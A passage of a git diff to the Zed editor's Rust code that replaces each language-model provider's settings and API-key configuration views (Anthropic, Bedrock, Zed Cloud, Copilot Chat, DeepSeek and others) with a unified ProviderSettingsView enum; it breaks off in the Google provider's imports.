-    fn inline_description(&self, _cx: &App) -> Option<InlineDescription> {
-        None
-    }
+/// A provider's settings UI, modeled as mutually exclusive presentation modes.
+#[derive(Clone)]
+pub enum ProviderSettingsView {
+    ApiKey(ApiKeyConfiguration),
+    Inline(InlineProviderSettings),
+    SubPage(SubPageProviderSettings),
+}
 
-    fn api_key_configuration(&self, _cx: &App) -> Option<ApiKeyConfiguration> {
-        None
-    }
+#[derive(Clone)]
+pub struct InlineProviderSettings {
+    pub title: Option<SharedString>,
+    pub description: Option<InlineDescription>,
+    pub create_view: CreateProviderSettingsView,
+}
 
-    fn set_api_key(&self, _key: String, _cx: &mut App) -> Task<Result<()>> {
-        Task::ready(Ok(()))
+#[derive(Clone)]
+pub struct SubPageProviderSettings {
+    pub description: Option<InlineDescription>,
+    pub create_view: CreateProviderSettingsView,
+}
+
+impl SubPageProviderSettings {
+    pub fn new(create_view: impl Fn(&mut Window, &mut App) -> AnyView + 'static) -> Self {
+        Self {
+            description: None,
+            create_view: Arc::new(create_view),
+        }
     }
 
-    /// Copy shown the first time a user enables fast mode for a model from
-    /// this provider. Returning `None` skips the confirmation prompt and lets
-    /// the toggle apply silently.
-    fn fast_mode_confirmation(&self, _cx: &App) -> Option<FastModeConfirmation> {
-        None
+    pub fn description(mut self, description: InlineDescription) -> Self {
+        self.description = Some(description);
+        self
     }
 }
 
-/// How a provider's configuration UI prefers to be presented by the settings UI.
-#[derive(Clone)]
-pub enum ProviderConfigurationView {
-    Inline { view: AnyView },
-    SubPage(AnyView),
+impl ApiKeyConfiguration {
+    pub fn new(
+        has_key: bool,
+        is_from_env_var: bool,
+        env_var_name: SharedString,
+        api_key_url: SharedString,
+    ) -> Self {
+        Self {
+            has_key,
+            is_from_env_var,
+            env_var_name,
+            api_key_url,
+        }
+    }
 }
 
 /// A live snapshot of a single-API-key provider's credential state, used by the
@@ -430,13 +441,6 @@ pub struct FastModeConfirmation {
     pub message: SharedString,
 }
 
-#[derive(Default, Clone, PartialEq, Eq)]
-pub enum ConfigurationViewTargetAgent {
-    #[default]
-    ZedAgent,
-    Other(SharedString),
-}
-
 pub trait LanguageModelProviderState: 'static {
     type ObservableEntity;
 
diff --git a/crates/language_models/src/provider/anthropic.rs b/crates/language_models/src/provider/anthropic.rs
index 1841a9619d2537..19ba2b45678cf0 100644
--- a/crates/language_models/src/provider/anthropic.rs
+++ b/crates/language_models/src/provider/anthropic.rs
@@ -5,21 +5,19 @@ use anyhow::Result;
 use collections::BTreeMap;
 use credentials_provider::CredentialsProvider;
 use futures::{FutureExt, StreamExt, future::BoxFuture, stream::BoxStream};
-use gpui::{AnyView, App, AsyncApp, Context, Entity, Task, TaskExt};
+use gpui::{App, AppContext, AsyncApp, Context, Entity, SharedString, Task};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
     ANTHROPIC_PROVIDER_ID, ANTHROPIC_PROVIDER_NAME, ApiKeyConfiguration, ApiKeyState,
-    AuthenticateError, ConfigurationViewTargetAgent, EnvVar, FastModeConfirmation, IconOrSvg,
-    LanguageModel, LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelId,
-    LanguageModelName, LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
-    LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice, RateLimiter,
-    env_var,
+    AuthenticateError, EnvVar, FastModeConfirmation, IconOrSvg, LanguageModel,
+    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelId, LanguageModelName,
+    LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
+    LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice,
+    ProviderSettingsView, RateLimiter, env_var,
 };
 use settings::{Settings, SettingsStore};
 use std::sync::{Arc, LazyLock};
-use ui::{ButtonLink, ConfiguredApiCard, List, ListBulletItem, prelude::*};
-use ui_input::InputField;
-use util::ResultExt;
+use ui::IconName;
 
 pub use anthropic::completion::{AnthropicEventMapper, AnthropicPromptCacheMode, into_anthropic};
 pub use settings::AnthropicAvailableModel as AvailableModel;
@@ -275,34 +273,19 @@ impl LanguageModelProvider for AnthropicLanguageModelProvider {
         self.state.update(cx, |state, cx| state.authenticate(cx))
     }
 
-    fn configuration_view(
-        &self,
-        target_agent: ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
-        cx.new(|cx| ConfigurationView::new(self.state.clone(), target_agent, window, cx))
-            .into()
-    }
-
-    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
-        self.state
-            .update(cx, |state, cx| state.set_api_key(None, cx))
-    }
-
-    fn api_key_configuration(&self, cx: &App) -> Option<ApiKeyConfiguration> {
+    fn settings_view(&self, cx: &mut App) -> Option<ProviderSettingsView> {
         let state = self.state.read(cx);
-        Some(ApiKeyConfiguration {
-            has_key: state.api_key_state.has_key(),
-            is_from_env_var: state.api_key_state.is_from_env_var(),
-            env_var_name: state.api_key_state.env_var_name().clone(),
-            api_key_url: "https://console.anthropic.com/settings/keys".into(),
-        })
+        Some(ProviderSettingsView::ApiKey(ApiKeyConfiguration::new(
+            state.api_key_state.has_key(),
+            state.api_key_state.is_from_env_var(),
+            state.api_key_state.env_var_name().clone(),
+            "https://console.anthropic.com/settings/keys".into(),
+        )))
     }
 
-    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+    fn set_api_key(&self, api_key: Option<String>, cx: &mut App) -> Task<Result<()>> {
         self.state
-            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
+            .update(cx, |state, cx| state.set_api_key(api_key, cx))
     }
 
     fn fast_mode_confirmation(&self, _cx: &App) -> Option<FastModeConfirmation> {
@@ -564,144 +547,3 @@ impl LanguageModel for AnthropicModel {
         async move { Ok(future.await?.boxed()) }.boxed()
     }
 }
-
-struct ConfigurationView {
-    api_key_editor: Entity<InputField>,
-    state: Entity<State>,
-    load_credentials_task: Option<Task<()>>,
-    target_agent: ConfigurationViewTargetAgent,
-}
-
-impl ConfigurationView {
-    const PLACEHOLDER_TEXT: &'static str = "sk-ant-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
-
-    fn new(
-        state: Entity<State>,
-        target_agent: ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Self {
-        cx.observe(&state, |_, _, cx| {
-            cx.notify();
-        })
-        .detach();
-
-        let load_credentials_task = Some(cx.spawn({
-            let state = state.clone();
-            async move |this, cx| {
-                let task = state.update(cx, |state, cx| state.authenticate(cx));
-                // We don't log an error, because "not signed in" is also an error.
-                let _ = task.await;
-                this.update(cx, |this, cx| {
-                    this.load_credentials_task = None;
-                    cx.notify();
-                })
-                .log_err();
-            }
-        }));
-
-        Self {
-            api_key_editor: cx.new(|cx| InputField::new(window, cx, Self::PLACEHOLDER_TEXT)),
-            state,
-            load_credentials_task,
-            target_agent,
-        }
-    }
-
-    fn save_api_key(&mut self, _: &menu::Confirm, window: &mut Window, cx: &mut Context<Self>) {
-        let api_key = self.api_key_editor.read(cx).text(cx);
-        if api_key.is_empty() {
-            return;
-        }
-
-        // url changes can cause the editor to be displayed again
-        self.api_key_editor
-            .update(cx, |editor, cx| editor.set_text("", window, cx));
-
-        let state = self.state.clone();
-        cx.spawn_in(window, async move |_, cx| {
-            state
-                .update(cx, |state, cx| state.set_api_key(Some(api_key), cx))
-                .await
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn reset_api_key(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        self.api_key_editor
-            .update(cx, |editor, cx| editor.set_text("", window, cx));
-
-        let state = self.state.clone();
-        cx.spawn_in(window, async move |_, cx| {
-            state
-                .update(cx, |state, cx| state.set_api_key(None, cx))
-                .await
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn should_render_editor(&self, cx: &mut Context<Self>) -> bool {
-        !self.state.read(cx).is_authenticated()
-    }
-}
-
-impl Render for ConfigurationView {
-    fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let env_var_set = self.state.read(cx).api_key_state.is_from_env_var();
-        let configured_card_label = if env_var_set {
-            format!("API key set in {API_KEY_ENV_VAR_NAME} environment variable")
-        } else {
-            let api_url = AnthropicLanguageModelProvider::api_url(cx);
-            if api_url == ANTHROPIC_API_URL {
-                "API key configured".to_string()
-            } else {
-                format!("API key configured for {}", api_url)
-            }
-        };
-
-        if self.load_credentials_task.is_some() {
-            div()
-                .child(Label::new("Loading credentials..."))
-                .into_any_element()
-        } else if self.should_render_editor(cx) {
-            v_flex()
-                .size_full()
-                .on_action(cx.listener(Self::save_api_key))
-                .child(Label::new(format!("To use {}, you need to add an API key. Follow these steps:", match &self.target_agent {
-                    ConfigurationViewTargetAgent::ZedAgent => "Zed's agent with Anthropic".into(),
-                    ConfigurationViewTargetAgent::Other(agent) => agent.clone(),
-                })))
-                .child(
-                    List::new()
-                        .child(
-                            ListBulletItem::new("")
-                                .child(Label::new("Create one by visiting"))
-                                .child(ButtonLink::new("Anthropic's settings", "https://console.anthropic.com/settings/keys"))
-                        )
-                        .child(
-                            ListBulletItem::new("Paste your API key below and hit enter to start using the agent")
-                        )
-                )
-                .child(self.api_key_editor.clone())
-                .child(
-                    Label::new(
-                        format!("You can also set the {API_KEY_ENV_VAR_NAME} environment variable and restart Zed."),
-                    )
-                    .size(LabelSize::Small)
-                    .color(Color::Muted)
-                    .mt_0p5(),
-                )
-                .into_any_element()
-        } else {
-            ConfiguredApiCard::new("anthropic-reset-key", configured_card_label)
-                .disabled(env_var_set)
-                .on_click(cx.listener(|this, _, window, cx| this.reset_api_key(window, cx)))
-                .when(env_var_set, |this| {
-                    this.tooltip_label(format!(
-                    "To reset your API key, unset the {API_KEY_ENV_VAR_NAME} environment variable."
-                ))
-                })
-                .into_any_element()
-        }
-    }
-}
diff --git a/crates/language_models/src/provider/anthropic_compatible.rs b/crates/language_models/src/provider/anthropic_compatible.rs
index b07900453243d7..8a3ddd85da494a 100644
--- a/crates/language_models/src/provider/anthropic_compatible.rs
+++ b/crates/language_models/src/provider/anthropic_compatible.rs
@@ -3,13 +3,14 @@ use anthropic::{AnthropicError, AnthropicModelMode};
 use anyhow::Result;
 use credentials_provider::CredentialsProvider;
 use futures::{FutureExt, StreamExt, future::BoxFuture, stream::BoxStream};
-use gpui::{AnyView, App, AppContext, AsyncApp, Entity, Task, Window};
+use gpui::{App, AppContext, AsyncApp, Entity, Task};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
     AuthenticateError, IconOrSvg, LanguageModel, LanguageModelCompletionError,
     LanguageModelCompletionEvent, LanguageModelId, LanguageModelName, LanguageModelProvider,
     LanguageModelProviderId, LanguageModelProviderName, LanguageModelProviderState,
-    LanguageModelRequest, LanguageModelToolChoice, RateLimiter,
+    LanguageModelRequest, LanguageModelToolChoice, ProviderSettingsView, RateLimiter,
+    SubPageProviderSettings,
 };
 use settings::Settings;
 use std::sync::Arc;
@@ -181,32 +182,27 @@ impl LanguageModelProvider for AnthropicCompatibleLanguageModelProvider {
         self.state.update(cx, |state, cx| state.authenticate(cx))
     }
 
-    fn configuration_view(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
-        cx.new(|cx| {
-            ApiCompatibleProviderConfigurationView::new(
-                self.state.clone(),
-                "Anthropic",
-                API_KEY_PLACEHOLDER,
-                window,
-                cx,
-            )
-        })
-        .into()
-    }
-
-    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
-        self.state
-            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
+    fn settings_view(&self, _cx: &mut App) -> Option<ProviderSettingsView> {
+        let state = self.state.clone();
+        Some(ProviderSettingsView::SubPage(SubPageProviderSettings::new(
+            move |window, cx| {
+                cx.new(|cx| {
+                    ApiCompatibleProviderConfigurationView::new(
+                        state.clone(),
+                        "Anthropic",
+                        API_KEY_PLACEHOLDER,
+                        window,
+                        cx,
+                    )
+                })
+                .into()
+            },
+        )))
     }
 
-    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
+    fn set_api_key(&self, api_key: Option<String>, cx: &mut App) -> Task<Result<()>> {
         self.state
-            .update(cx, |state, cx| state.set_api_key(None, cx))
+            .update(cx, |state, cx| state.set_api_key(api_key, cx))
     }
 }
 
diff --git a/crates/language_models/src/provider/bedrock.rs b/crates/language_models/src/provider/bedrock.rs
index 4d843009f7623c..ee673577c66881 100644
--- a/crates/language_models/src/provider/bedrock.rs
+++ b/crates/language_models/src/provider/bedrock.rs
@@ -26,8 +26,7 @@ use collections::{BTreeMap, HashMap};
 use credentials_provider::CredentialsProvider;
 use futures::{FutureExt, Stream, StreamExt, future::BoxFuture, stream::BoxStream};
 use gpui::{
-    AnyView, App, AsyncApp, Context, Entity, FocusHandle, Subscription, Task, TaskExt, Window,
-    actions,
+    App, AsyncApp, Context, Entity, FocusHandle, Subscription, Task, TaskExt, Window, actions,
 };
 use gpui_tokio::Tokio;
 use http_client::HttpClient;
@@ -36,8 +35,8 @@ use language_model::{
     LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelId, LanguageModelName,
     LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
     LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice,
-    LanguageModelToolResultContent, LanguageModelToolUse, MessageContent, RateLimiter, Role,
-    TokenUsage, env_var,
+    LanguageModelToolResultContent, LanguageModelToolUse, MessageContent, ProviderSettingsView,
+    RateLimiter, Role, SubPageProviderSettings, TokenUsage, env_var,
 };
 use schemars::JsonSchema;
 use serde::{Deserialize, Serialize};
@@ -461,12 +460,6 @@ impl LanguageModelProvider for BedrockLanguageModelProvider {
         IconOrSvg::Icon(IconName::AiBedrock)
     }
 
-    fn inline_description(&self, _cx: &App) -> Option<InlineDescription> {
-        Some(InlineDescription::Text(
-            "To use Zed's agent with Bedrock, set a custom authentication strategy in your settings or use static credentials.".into(),
-        ))
-    }
-
     fn default_model(&self, _cx: &App) -> Option<Arc<dyn LanguageModel>> {
         Some(self.create_language_model(bedrock::Model::default()))
     }
@@ -523,18 +516,17 @@ impl LanguageModelProvider for BedrockLanguageModelProvider {
         self.state.update(cx, |state, cx| state.authenticate(cx))
     }
 
-    fn configuration_view(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
-        cx.new(|cx| ConfigurationView::new(self.state.clone(), window, cx))
-            .into()
-    }
-
-    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
-        self.state.update(cx, |state, cx| state.reset_auth(cx))
+    fn settings_view(&self, _cx: &mut App) -> Option<ProviderSettingsView> {
+        let state = self.state.clone();
+        Some(ProviderSettingsView::SubPage(
+            SubPageProviderSettings::new(move |window, cx| {
+                cx.new(|cx| ConfigurationView::new(state.clone(), window, cx))
+                    .into()
+            })
+            .description(InlineDescription::Text(
+                "To use Zed's agent with Bedrock, set a custom authentication strategy in your settings or use static credentials.".into(),
+            )),
+        ))
     }
 }
 
diff --git a/crates/language_models/src/provider/cloud.rs b/crates/language_models/src/provider/cloud.rs
index 926f99eae1b60a..06131314eef347 100644
--- a/crates/language_models/src/provider/cloud.rs
+++ b/crates/language_models/src/provider/cloud.rs
@@ -9,11 +9,11 @@ use cloud_api_types::Plan;
 use futures::FutureExt;
 use futures::StreamExt;
 use futures::future::BoxFuture;
-use gpui::{AnyElement, AnyView, App, AppContext, Context, Entity, Subscription, Task, TaskExt};
+use gpui::{AnyElement, App, AppContext, Context, Entity, Subscription, Task, TaskExt};
 use language_model::{
     AuthenticateError, FastModeConfirmation, IconOrSvg, InlineDescription, LanguageModel,
     LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
-    LanguageModelProviderState, ProviderConfigurationView, ZED_CLOUD_PROVIDER_ID,
+    LanguageModelProviderState, ProviderSettingsView, ZED_CLOUD_PROVIDER_ID,
     ZED_CLOUD_PROVIDER_NAME,
 };
 use language_models_cloud::{CloudLlmTokenProvider, CloudModelProvider};
@@ -360,37 +360,13 @@ impl LanguageModelProvider for CloudLanguageModelProvider {
         })
     }
 
-    fn configuration_view(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        _: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
-        cx.new(|_| ConfigurationView::new(self.state.clone(), false))
-            .into()
-    }
-
-    fn configuration_view_v2(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        _window: &mut Window,
-        cx: &mut App,
-    ) -> ProviderConfigurationView {
-        ProviderConfigurationView::Inline {
-            view: cx
-                .new(|_| ConfigurationView::new(self.state.clone(), true))
-                .into(),
-        }
-    }
-
-    fn inline_description(&self, cx: &App) -> Option<InlineDescription> {
+    fn settings_view(&self, cx: &mut App) -> Option<ProviderSettingsView> {
         let state = self.state.read(cx);
         let user_store = state.user_store.read(cx);
         let is_zed_model_provider_enabled = user_store
             .current_organization_configuration()
             .map_or(true, |config| config.is_zed_model_provider_enabled);
-
-        Some(InlineDescription::Text(
+        let description = InlineDescription::Text(
             zed_ai_description(
                 !state.is_signed_out(cx),
                 user_store.plan(),
@@ -398,27 +374,34 @@ impl LanguageModelProvider for CloudLanguageModelProvider {
                 user_store.trial_started_at().is_none(),
             )
             .into(),
-        ))
-    }
+        );
 
-    fn inline_title(&self, cx: &App) -> Option<SharedString> {
-        let state = self.state.read(cx);
-        if state.is_signed_out(cx) {
-            return None;
-        }
-        let plan_name = match state.user_store.read(cx).plan()? {
-            Plan::ZedPro => "Pro",
-            Plan::ZedProTrial => "Pro Trial",
-            Plan::ZedStudent => "Student",
-            Plan::ZedBusiness => "Business",
-            Plan::ZedVip => "VIP",
-            Plan::ZedFree => return None,
+        let title = if state.is_signed_out(cx) {
+            None
+        } else {
+            match state.user_store.read(cx).plan() {
+                Some(Plan::ZedPro) => Some("Subscribed to Pro".into()),
+                Some(Plan::ZedProTrial) => Some("Subscribed to Pro Trial".into()),
+                Some(Plan::ZedStudent) => Some("Subscribed to Student".into()),
+                Some(Plan::ZedBusiness) => Some("Subscribed to Business".into()),
+                Some(Plan::ZedVip) => Some("Subscribed to VIP".into()),
+                Some(Plan::ZedFree) | None => None,
+            }
         };
-        Some(format!("Subscribed to {plan_name}").into())
-    }
 
-    fn reset_credentials(&self, _cx: &mut App) -> Task<Result<()>> {
-        Task::ready(Ok(()))
+        Some(ProviderSettingsView::Inline(
+            language_model::InlineProviderSettings {
+                title,
+                description: Some(description),
+                create_view: Arc::new({
+                    let state = self.state.clone();
+                    move |_window, cx| {
+                        cx.new(|_| ConfigurationView::new(state.clone(), true))
+                            .into()
+                    }
+                }),
+            },
+        ))
     }
 
     fn authentication_error_message(&self) -> SharedString {
diff --git a/crates/language_models/src/provider/copilot_chat.rs b/crates/language_models/src/provider/copilot_chat.rs
index 94bc00e72d5c78..db845e85796a82 100644
--- a/crates/language_models/src/provider/copilot_chat.rs
+++ b/crates/language_models/src/provider/copilot_chat.rs
@@ -16,7 +16,7 @@ use copilot_chat::{
 use futures::future::BoxFuture;
 use futures::stream::BoxStream;
 use futures::{FutureExt, Stream, StreamExt};
-use gpui::{AnyView, App, AsyncApp, Entity, Subscription, Task};
+use gpui::{App, AsyncApp, Entity, Subscription, Task};
 use http_client::StatusCode;
 use language::language_settings::all_language_settings;
 use language_model::{
@@ -25,7 +25,7 @@ use language_model::{
     LanguageModelName, LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
     LanguageModelProviderState, LanguageModelRequest, LanguageModelRequestMessage,
     LanguageModelToolChoice, LanguageModelToolResultContent, LanguageModelToolSchemaFormat,
-    LanguageModelToolUse, MessageContent, ProviderConfigurationView, RateLimiter, Role, StopReason,
+    LanguageModelToolUse, MessageContent, ProviderSettingsView, RateLimiter, Role, StopReason,
     TokenUsage,
 };
 use settings::SettingsStore;
@@ -177,76 +177,42 @@ impl LanguageModelProvider for CopilotChatLanguageModelProvider {
         Task::ready(Err(err.into()))
     }
 
-    fn configuration_view(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        _: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
-        cx.new(|cx| {
-            copilot_ui::ConfigurationView::new(
-                |cx| {
-                    CopilotChat::global(cx)
-                        .map(|m| m.read(cx).is_authenticated())
-                        .unwrap_or(false)
-                },
-                copilot_ui::ConfigurationMode::Chat,
-                cx,
-            )
-        })
-        .into()
-    }
-
-    fn configuration_view_v2(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        _window: &mut Window,
-        cx: &mut App,
-    ) -> ProviderConfigurationView {
-        // GitHub Copilot's control is just a sign-in/out button, so render it
-        // inline rather than behind a sub-page. The explanatory copy is surfaced
-        // via `inline_description` (the row's left column), so the view itself
-        // renders compactly.
-        ProviderConfigurationView::Inline {
-            view: cx
-                .new(|cx| {
-                    copilot_ui::ConfigurationView::new(
-                        |cx| {
-                            CopilotChat::global(cx)
-                                .map(|m| m.read(cx).is_authenticated())
-                                .unwrap_or(false)
-                        },
-                        copilot_ui::ConfigurationMode::Chat,
-                        cx,
-                    )
-                    .compact()
-                })
-                .into(),
-        }
-    }
-
-    fn inline_title(&self, cx: &App) -> Option<SharedString> {
-        if self.state.read(cx).is_authenticated(cx) {
+    fn settings_view(&self, cx: &mut App) -> Option<ProviderSettingsView> {
+        let is_authenticated = self.state.read(cx).is_authenticated(cx);
+        let title = if is_authenticated {
             None
         } else {
             Some("Configure Copilot".into())
-        }
-    }
-
-    fn inline_description(&self, cx: &App) -> Option<language_model::InlineDescription> {
-        if self.state.read(cx).is_authenticated(cx) {
+        };
+        let description = if is_authenticated {
             None
         } else {
             Some(language_model::InlineDescription::Text(
                 "Requires an active GitHub Copilot subscription.".into(),
             ))
-        }
-    }
+        };
 
-    fn reset_credentials(&self, _cx: &mut App) -> Task<Result<()>> {
-        Task::ready(Err(anyhow!(
-            "Signing out of GitHub Copilot Chat is currently not supported."
-        )))
+        Some(ProviderSettingsView::Inline(
+            language_model::InlineProviderSettings {
+                title,
+                description,
+                create_view: Arc::new(|_window, cx| {
+                    cx.new(|cx| {
+                        copilot_ui::ConfigurationView::new(
+                            |cx| {
+                                CopilotChat::global(cx)
+                                    .map(|m| m.read(cx).is_authenticated())
+                                    .unwrap_or(false)
+                            },
+                            copilot_ui::ConfigurationMode::Chat,
+                            cx,
+                        )
+                        .compact()
+                    })
+                    .into()
+                }),
+            },
+        ))
     }
 }
 
diff --git a/crates/language_models/src/provider/deepseek.rs b/crates/language_models/src/provider/deepseek.rs
index 943b3861e3c513..f448ae2be68895 100644
--- a/crates/language_models/src/provider/deepseek.rs
+++ b/crates/language_models/src/provider/deepseek.rs
@@ -5,7 +5,7 @@ use deepseek::DEEPSEEK_API_URL;
 
 use futures::Stream;
 use futures::{FutureExt, StreamExt, future::BoxFuture, stream::BoxStream};
-use gpui::{AnyView, App, AsyncApp, Context, Entity, SharedString, Task, TaskExt, Window};
+use gpui::{App, AppContext, AsyncApp, Context, Entity, SharedString, Task};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
     ApiKeyConfiguration, ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel,
@@ -13,16 +13,14 @@ use language_model::{
     LanguageModelId, LanguageModelName, LanguageModelProvider, LanguageModelProviderId,
     LanguageModelProviderName, LanguageModelProviderState, LanguageModelRequest,
     LanguageModelToolChoice, LanguageModelToolResultContent, LanguageModelToolUse, MessageContent,
-    RateLimiter, Role, StopReason, TokenUsage, env_var,
+    ProviderSettingsView, RateLimiter, Role, StopReason, TokenUsage, env_var,
 };
 pub use settings::DeepseekAvailableModel as AvailableModel;
 use settings::{Settings, SettingsStore};
 use std::pin::Pin;
 use std::sync::{Arc, LazyLock};
 
-use ui::{ButtonLink, ConfiguredApiCard, List, ListBulletItem, prelude::*};
-use ui_input::InputField;
-use util::ResultExt;
+use ui::IconName;
 
 use language_model::util::{fix_streamed_json, parse_tool_arguments};
 
@@ -197,34 +195,19 @@ impl LanguageModelProvider for DeepSeekLanguageModelProvider {
         self.state.update(cx, |state, cx| state.authenticate(cx))
     }
 
-    fn configuration_view(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> AnyView {
-        cx.new(|cx| ConfigurationView::new(self.state.clone(), window, cx))
-            .into()
-    }
-
-    fn reset_credentials(&self, cx: &mut App) -> Task<Result<()>> {
-        self.state
-            .update(cx, |state, cx| state.set_api_key(None, cx))
-    }
-
-    fn api_key_configuration(&self, cx: &App) -> Option<ApiKeyConfiguration> {
+    fn settings_view(&self, cx: &mut App) -> Option<ProviderSettingsView> {
         let state = self.state.read(cx);
-        Some(ApiKeyConfiguration {
-            has_key: state.api_key_state.has_key(),
-            is_from_env_var: state.api_key_state.is_from_env_var(),
-            env_var_name: state.api_key_state.env_var_name().clone(),
-            api_key_url: "https://platform.deepseek.com/api_keys".into(),
-        })
+        Some(ProviderSettingsView::ApiKey(ApiKeyConfiguration::new(
+            state.api_key_state.has_key(),
+            state.api_key_state.is_from_env_var(),
+            state.api_key_state.env_var_name().clone(),
+            "https://platform.deepseek.com/api_keys".into(),
+        )))
     }
 
-    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+    fn set_api_key(&self, api_key: Option<String>, cx: &mut App) -> Task<Result<()>> {
         self.state
-            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
+            .update(cx, |state, cx| state.set_api_key(api_key, cx))
     }
 }
 
@@ -652,129 +635,3 @@ impl DeepSeekEventMapper {
         events
     }
 }
-
-struct ConfigurationView {
-    api_key_editor: Entity<InputField>,
-    state: Entity<State>,
-    load_credentials_task: Option<Task<()>>,
-}
-
-impl ConfigurationView {
-    fn new(state: Entity<State>, window: &mut Window, cx: &mut Context<Self>) -> Self {
-        let api_key_editor =
-            cx.new(|cx| InputField::new(window, cx, "sk-00000000000000000000000000000000"));
-
-        cx.observe(&state, |_, _, cx| {
-            cx.notify();
-        })
-        .detach();
-
-        let load_credentials_task = Some(cx.spawn({
-            let state = state.clone();
-            async move |this, cx| {
-                if let Some(task) = Some(state.update(cx, |state, cx| state.authenticate(cx))) {
-                    let _ = task.await;
-                }
-
-                this.update(cx, |this, cx| {
-                    this.load_credentials_task = None;
-                    cx.notify();
-                })
-                .log_err();
-            }
-        }));
-
-        Self {
-            api_key_editor,
-            state,
-            load_credentials_task,
-        }
-    }
-
-    fn save_api_key(&mut self, _: &menu::Confirm, _window: &mut Window, cx: &mut Context<Self>) {
-        let api_key = self.api_key_editor.read(cx).text(cx).trim().to_string();
-        if api_key.is_empty() {
-            return;
-        }
-
-        let state = self.state.clone();
-        cx.spawn(async move |_, cx| {
-            state
-                .update(cx, |state, cx| state.set_api_key(Some(api_key), cx))
-                .await
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn reset_api_key(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        self.api_key_editor
-            .update(cx, |editor, cx| editor.set_text("", window, cx));
-
-        let state = self.state.clone();
-        cx.spawn(async move |_, cx| {
-            state
-                .update(cx, |state, cx| state.set_api_key(None, cx))
-                .await
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn should_render_editor(&self, cx: &mut Context<Self>) -> bool {
-        !self.state.read(cx).is_authenticated()
-    }
-}
-
-impl Render for ConfigurationView {
-    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let env_var_set = self.state.read(cx).api_key_state.is_from_env_var();
-        let configured_card_label = if env_var_set {
-            format!("API key set in {API_KEY_ENV_VAR_NAME} environment variable")
-        } else {
-            let api_url = DeepSeekLanguageModelProvider::api_url(cx);
-            if api_url == DEEPSEEK_API_URL {
-                "API key configured".to_string()
-            } else {
-                format!("API key configured for {}", api_url)
-            }
-        };
-
-        if self.load_credentials_task.is_some() {
-            div()
-                .child(Label::new("Loading credentials..."))
-                .into_any_element()
-        } else if self.should_render_editor(cx) {
-            v_flex()
-                .size_full()
-                .on_action(cx.listener(Self::save_api_key))
-                .child(Label::new("To use DeepSeek in Zed, you need an API key:"))
-                .child(
-                    List::new()
-                        .child(
-                            ListBulletItem::new("")
-                                .child(Label::new("Get your API key from the"))
-                                .child(ButtonLink::new(
-                                    "DeepSeek console",
-                                    "https://platform.deepseek.com/api_keys",
-                                )),
-                        )
-                        .child(ListBulletItem::new(
-                            "Paste your API key below and hit enter to start using the assistant",
-                        )),
-                )
-                .child(self.api_key_editor.clone())
-                .child(
-                    Label::new(format!(
-                        "You can also set the {API_KEY_ENV_VAR_NAME} environment variable and restart Zed."
-                    ))
-                    .size(LabelSize::Small)
-                    .color(Color::Muted),
-                )
-                .into_any_element()
-        } else {
-            ConfiguredApiCard::new("deepseek-reset-key", configured_card_label)
-                .disabled(env_var_set)
-                .on_click(cx.listener(|this, _, window, cx| this.reset_api_key(window, cx)))
-                .into_any_element()
-        }
-    }
-}
diff --git a/crates/language_models/src/provider/google.rs b/crates/language_models/src/provider/google.rs
index 8a289fd2e05998..7906e8f301eb93 100644
--- a/crates/language_models/src/provider/google.rs
+++ b/crates/language_models/src/provider/google.rs
@@ -4,17 +4,17 @@ use credentials_provider::CredentialsProvider;
 use futures::{FutureExt, StreamExt, future::BoxFuture};
 use google_ai::GenerateContentResponse;
 pub use google_ai::completion::{GoogleEventMapper, into_google};
-use gpui::{AnyView, App, AsyncApp, Context, Entity, SharedString, Task, TaskExt, Window};
+use gpui::{App, AppContext, AsyncApp, Context, Entity, SharedString, Task};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
